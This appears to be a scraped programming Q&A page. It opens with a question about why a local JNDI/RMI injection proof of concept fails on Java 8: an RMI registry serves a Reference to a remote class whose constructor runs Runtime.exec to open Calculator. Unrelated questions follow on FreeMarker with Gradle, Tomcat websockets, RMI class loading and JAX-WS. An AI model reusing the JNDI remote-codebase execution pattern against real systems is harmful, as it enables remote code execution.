my java version is: 1.8.0_282
this is client:
import java.rmi.registry.*;
import javax.naming.*;
public class RegistryClient {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context registry = new InitialContext();
registry.lookup("rmi://127.0.0.1:1099/Demo");
System.out.println("done");
}
}
this is server:
import java.rmi.registry.*;
import javax.naming.*;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RegistryServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference(
"xxx",
"RMIRegistryDemoRemote",
"http://127.0.0.1:8000/"
);
ReferenceWrapper hello = new ReferenceWrapper(refObj);
registry.bind("Demo", hello);
System.out.println("[!] server is ready");
}
}
this is the interface and implement of RMIRegistryDemo:
import java.rmi.*;
public interface RMIRegistryDemo extends Remote {
String sayHello(String name) throws Exception;
}
import java.rmi.server.*;
import java.rmi.*;
public class RMIRegistryDemoImpl extends UnicastRemoteObject implements RMIRegistryDemo {
public RMIRegistryDemoImpl() throws Exception {}
String id = "10";
#Override
public String sayHello(String name) {
System.out.println(id);
return "Hi, " + name;
}
}
this is the remote .class:
import java.io.IOException;
public class RMIRegistryDemoRemote {
public RMIRegistryDemoRemote() throws IOException {
final Process process = Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
after:
run RegistryServer
deployed a web server to send RMIRegistryDemoRemote.class
run RegistryClient
the client just prints "done", and no access log in my weblog:
# overflow in ~/Downloads/test [16:16:44]
» javac RegistryClient.java && java RegistryClient
done
# overflow in ~/Downloads/test/remote [16:20:05]
» python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
what causes it?
Related
I have a java web app, which I am using cloud9 for, and I have set up Apache freemarker as a templating engine. To import the package I used gradle, but when I run gradle build, I get exceptions due to references to the freemarker package in my code. When I comment out all uses of freemarker aside from the import statement, my gradle will build my code, but it will throw errors when I run it (freemarker package does not exist). How can I fix this?
App.java
import freemarker.template.*;
import com.sun.net.httpserver.HttpServer;
import java.net.*;
import java.util.*;
public class App{
public static Configuration cfg = new Configuration(Configuration.VERSION_2_3_27);
int port;
public static void main(String[] args){
App app = new App(8081);
try{
app.init();
app.templateConfig();
}catch(Exception e){
System.out.println(e);
}
}
public App(int port){
this.port = port;
}
public void init() throws Exception{
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
System.out.println("server started at " + port);
server.createContext("/", new HomeController.Index());
server.createContext("/echoHeader", new HomeController.EchoHeaderHandler());
server.createContext("/echoGet", new HomeController.EchoGetHandler());
server.createContext("/echoPost", new HomeController.EchoPostHandler());
server.setExecutor(null);
server.start();
}
public void templateConfig() throws Exception{
cfg.setDirectoryForTemplateLoading(new File("../templates"));
cfg.setDefaultEncoding("UTF-8");
cfg.setTemplateExceptionHandler(TemplateExceptionHanlder.HTML_DEBUG_HANDLER);
cfg.setLogTemplateExceptions(false);
cfg.setWrapUncheckedExceptions(true);
}
}
HomeController.java
import freemarker.template.*;
import com.sun.net.httpserver.*;
import java.net.*;
import java.io.*;
import java.util.*;
public class HomeController{
public static class Index implements HttpHandler{
public void handle(HttpExchange exchange) throws IOException{
//String response = "<h1>Server start success if you see this message</h1><h1>Port: " + 8081 + "</h1>";
exchange.sendResponseHeaders(200, response.length());
OutputStream os = exchange.getResponseBody();
//os.write(response.getBytes());
Map<String, Object> root = new HashMap<>();
root.put("port", 3000);
Template home = App.cfg.getTemplate("home.ftlh");
home.process(root, os);
os.close();
}
}
public static class EchoHeaderHandler implements HttpHandler{
public void handle(HttpExchange exchange){
}
}
public static class EchoGetHandler implements HttpHandler{
public void handle(HttpExchange exchange){
}
}
public static class EchoPostHandler implements HttpHandler{
public void handle(HttpExchange exchange){
}
}
}
build.gradle
repositories {
mavenCentral()
}
apply plugin: "java"
dependencies {
compile "org.freemarker:freemarker:2.3.28"
}
sourceSets {
main.java.srcDir "src/main"
}
jar {
from configurations.compile.collect { zipTree it }
manifest.attributes "Main-Class":"com.isaackrementsov.app.App"
}
My directory structure
workspace
build
classes
java
main
//Source code compiles here
libs
tmp
compileJava
jar
src
main
com
isaackrementsov
app
//Source code here
My whole project is here: Cloud9 Project
I try to run a websocket server in a Java project that was running on Tomcat6. I have set up a Tomcat 7 server where the project now is running on.
First I tried to run the socket example of Tomcat7. This run perfectly. I copied this class to my old project. When I run the old project again all the functionalities are working like before but only the websocket server doe not work.
This is the ChatAnnotation class that I have copied from the examples from Tomcat to my old project.
import java.io.IOException;
import java.util.Set;
import java.util.concurrent.CopyOnWriteArraySet;
import java.util.concurrent.atomic.AtomicInteger;
import javax.websocket.OnClose;
import javax.websocket.OnError;
import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpoint;
import org.apache.log4j.Logger;
#ServerEndpoint(value = "/websocket/chat")
public class ChatAnnotation {
private static Logger logger = Logger.getLogger(ChatAnnotation.class);
private static final String GUEST_PREFIX = "Guest";
private static final AtomicInteger connectionIds = new AtomicInteger(0);
private static final Set<ChatAnnotation> connections = new CopyOnWriteArraySet<ChatAnnotation>();
private final String nickname;
private Session session;
public ChatAnnotation() {
nickname = GUEST_PREFIX + connectionIds.getAndIncrement();
logger.info("ws instance");
}
#OnOpen
public void start(Session session) {
this.session = session;
connections.add(this);
String message = String.format("* %s %s", nickname, "has joined.");
broadcast(message);
}
#OnClose
public void end() {
connections.remove(this);
String message = String.format("* %s %s", nickname, "has disconnected.");
broadcast(message);
}
#OnMessage
public void incoming(String message) {
// Never trust the client
String filteredMessage = String.format("%s: %s", nickname, message.toString());
broadcast(filteredMessage);
}
#OnError
public void onError(Throwable t) throws Throwable {
logger.error("Chat Error: " + t.toString(), t);
}
private static void broadcast(String msg) {
for (ChatAnnotation client : connections) {
try {
synchronized (client) {
client.session.getBasicRemote().sendText(msg);
}
} catch (IOException e) {
logger.debug("Chat Error: Failed to send message to client", e);
connections.remove(client);
try {
client.session.close();
} catch (IOException e1) {
// Ignore
}
String message = String.format("* %s %s", client.nickname, "has been disconnected.");
broadcast(message);
}
}
}
}
I have noting added in my web.xml. In my old project are also tcpsockets used can this be the problem?
Can anyone help me with this problem?
EDIT
Class added:
import java.util.HashSet;
import java.util.Set;
import javax.websocket.Endpoint;
import javax.websocket.server.ServerApplicationConfig;
import javax.websocket.server.ServerEndpointConfig;
import org.apache.log4j.Logger;
public class ExamplesConfig implements ServerApplicationConfig {
private static Logger log = Logger.getLogger(ChatAnnotation.class);
public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> endpointClasses) {
Set<ServerEndpointConfig> result = new HashSet<ServerEndpointConfig>();
log.info("getEndpointConfigs");
return result;
}
public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> scanned) {
log.info("getAnnotatedEndpointClasses");
return scanned;
}
}
Java websocket server use return value of ServerApplicationConfig interface to deploy programmatic endpoints and for annotated endpoints.
For Tomcat example, if you change the package name of ChatAnnotation. You have to modify websocket.ExamplesConfig too.
public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> scanned) {
// Deploy all WebSocket endpoints defined by annotations in the examples
// web application. Filter out all others to avoid issues when running
// tests on Gump
Set<Class<?>> results = new HashSet<>();
for (Class<?> clazz : scanned) {
String name = clazz.getPackage().getName();
boolean ok = name.startsWith("websocket.");
if (ok) {
results.add(clazz);
}
}
return scanned;
}
The getAnnotatedEndpointClasses(scanned) only return classes which package name start with websocket. Unmatched classes will not deployed even they have #ServerEndpoint declarations.
i wrote a program in netbeans with RMI that client has error
error :
java.rmi.UnmarshalException: error unmarshalling return; nested
exception is: java.lang.ClassNotFoundException: rmiserver.Message
(no security manager: RMI class loader disabled) at
sun.rmi.registry.RegistryImpl_Stub.lookup(Unknown Source)
but sever does not any error!
interfaace code:
package rmiclient;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Message extends Remote {
void sayHello(String name) throws RemoteException;
}
interface implementation is:
package rmiserver;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class MessageImpl extends UnicastRemoteObject implements Message {
public MessageImpl() throws RemoteException {
}
#Override
public void sayHello(String name) throws RemoteException {
System.out.println("hello "+name);
}
}
server code is:
package rmiserver;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Main {
private void startServer(){
try {
// create on port 1099
Registry registry = LocateRegistry.createRegistry(1099);
// create a new service named myMessage
registry.rebind("myMessage", new MessageImpl());
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("system is ready");
}
public static void main(String[] args) {
Main main = new Main();
main.startServer();
}
}
client code is:
package rmiclient;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Main {
private void doTest(){
try {
// fire to localhost port 1099
Registry myRegistry = LocateRegistry.getRegistry("127.0.0.1", 1099);
// search for myMessage service
Message impl = (Message) myRegistry.lookup("myMessage");
// call server's method
impl.sayHello("edwin");
System.out.println("Message Sent");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Main main = new Main();
main.doTest();
}
}
thanks :).
In your stacktrace:
java.lang.ClassNotFoundException: rmiserver.Message
but as per data you have provided, your Message interface is declated with package package rmiclient; and You haven't created any rmiserver.Message class.
Correct the package name.
I have two package. rmiclient and rmiserver. that in rmiclient are "message" and "main" . in rmiserver are "message" and "main" and "messageimpl"
That's your problem. This doesn't satisfy the contract. You can't just copy Message to another package and expect to have it be treated the same as the original. The remote stub implements the same remote interfaces that the remote object does. Not another interface with the same name in another package.
You have to deploy rmiserver.Message to the client. Just like the error message says, really.
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RMISecurityManager;
import java.rmi.server.RMIClassLoader;
import java.util.*;
import java.lang.reflect.Constructor;
public class DynamicClient {
public DynamicClient (String[] args) throws Exception {
Properties p = System.getProperties();
String url = p.getProperty("java.rmi.server.codebase");
Class ClasseClient = RMIClassLoader.loadClass(url,"ClientDistant");
Constructor [] C = ClasseClient.getConstructors();
C[0].newInstance( new Object[] {args} );
}
public static void main (String[] args) {
System.setSecurityManager( new RMISecurityManager() );
try {
DynamicClient cli = new DynamicClient(args);
} catch (Exception e) {
System.out.println(e.toString());
}
}
}
This code is supposed to dynamically charge the class ClientDistant from a web server and execute the treatment, however it displays an error message:
C:\Users\DELL\Desktop>java -Djava.security.policy=client.policy -Djava.rmi.serv
er.useCodebaseOnly=false -Djava.rmi.server.codebase=http://localhost:8080/RMI/
DynamicClient
java.lang.ArrayIndexOutOfBoundsException: 0
where RMI is a directory's in the java web application named RMI ( I m using GlassFish server).
Any solutions to load ClientDistant and execute its treatment?
**My Web service class**
import javax.jws.WebMethod;
import javax.jws.WebService;
/**
* #author edward
*
*/
#WebService
public class HelloWeb {
#WebMethod
public String sayGreeting(String name) {
return "Greeting " + name + "....!";
}
}
My Server java class
import javax.xml.ws.Endpoint;
public class Server {
public static void main(String[] args) {
Endpoint.publish("http://localhost:9090/HelloWeb", new HelloWeb());
System.out.println("Hello Web service is ready");
}
}
Server is running properly, and i am able to access the service using url that returns WSDL code.But i want to access the server using unique URL in java.I have the following client java code.
Client to access HelloWeb Service
import java.net.URL;
import javax.xml.namespace.QName;
import javax.xml.rpc.Service;
import javax.xml.rpc.ServiceFactory;
public class WebClient {
String wsdl = "http://172.21.1.65:9090/HelloWeb?wsdl";
String namespace = "http://helloweb.com";
String serviceName = "HelloWebService";
QName serviceQN = new QName(namespace, serviceName);
{
try{
ServiceFactory serviceFactory = ServiceFactory.newInstance();
Service service = serviceFactory.createService(new URL(wsdl), serviceQN);
}catch (Exception e) {
}
}
}
try this, note that I compiled and ran your server in "test" package, it's important. This is just a basic example to start with JAX-WS.
package test;
import java.net.URL;
import javax.jws.WebMethod;
import javax.jws.WebService;
import javax.xml.namespace.QName;
import javax.xml.ws.Service;
public class WebClient {
#WebService(name = "HelloWeb", targetNamespace = "http://test/")
public interface HelloWeb {
#WebMethod
String sayGreeting(String name);
}
public static void main(String[] args) throws Exception {
Service serv = Service.create(new URL(
"http://localhost:9090/HelloWeb?wsdl"),
new QName("http://test/", "HelloWebService"));
HelloWeb p = serv.getPort(HelloWeb.class);
System.out.println(p.sayGreeting("John"));
}
}